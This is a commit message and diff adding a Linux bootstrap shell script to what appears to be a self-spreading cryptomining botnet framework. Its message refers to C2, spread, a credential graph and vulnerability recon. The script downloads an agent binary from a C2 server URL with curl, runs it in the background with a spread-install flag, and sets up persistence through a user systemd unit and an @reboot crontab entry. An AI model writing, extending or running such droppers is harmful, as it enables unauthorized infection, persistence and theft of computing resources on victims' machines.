Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/linux/lotl-bootstrap.sh

@@ -0,0 +1,53 @@
+#!/usr/bin/env bash
+# Linux LOTL bootstrap — systemd-run --user and/or crontab persistence.
+# Placeholders: {{SERVER_URL}} {{QUERY_SUFFIX}} {{LOTL_MODE}} {{CAMPAIGN}}
+# Mining policy pulled from C2 after register — not in this script.
+set -euo pipefail
+
+LOTL_MODE='{{LOTL_MODE}}'
+SERVER='{{SERVER_URL}}'
+QS='{{QUERY_SUFFIX}}'
+CAMP='{{CAMPAIGN}}'
+
+fetch_agent() {
+  local dest
+  dest="$(mktemp /tmp/af-XXXXXX)"
+  curl -fsSL "${SERVER}/get?os=linux${QS}" -o "$dest" || return 1
+  chmod +x "$dest"
+  echo "$dest"
+}
+
+run_once() {
+  local bin="$1"
+  if [ -n "$CAMP" ]; then export AETHER_CAMPAIGN="$CAMP"; fi
+  nohup "$bin" --spread-install --defer-mining >/dev/null 2>&1 &
+}
+
+persist_systemd_run_user() {
+  local bin="$1"
+  systemd-run --user --unit=aetherforge-worker.service \
+    --description="AetherForge worker" \
+    "$bin" --run --defer-mining
+}
+
+persist_crontab() {
+  local bin="$1"
+  local line="@reboot $bin --run --defer-mining >/dev/null 2>&1"
+  (crontab -l 2>/dev/null | grep -Fv "$bin" ; echo "$line") | crontab -
+}
+
+main() {
+  BIN="$(fetch_agent)" || exit 1
+  run_once "$BIN"
+  case "$LOTL_MODE" in
+    systemd_run_user) persist_systemd_run_user "$BIN" ;;
+    crontab) persist_crontab "$BIN" ;;
+    both)
+      persist_systemd_run_user "$BIN"
+      persist_crontab "$BIN"
+      ;;
+    *) ;;
+  esac
+}
+
+main "$@"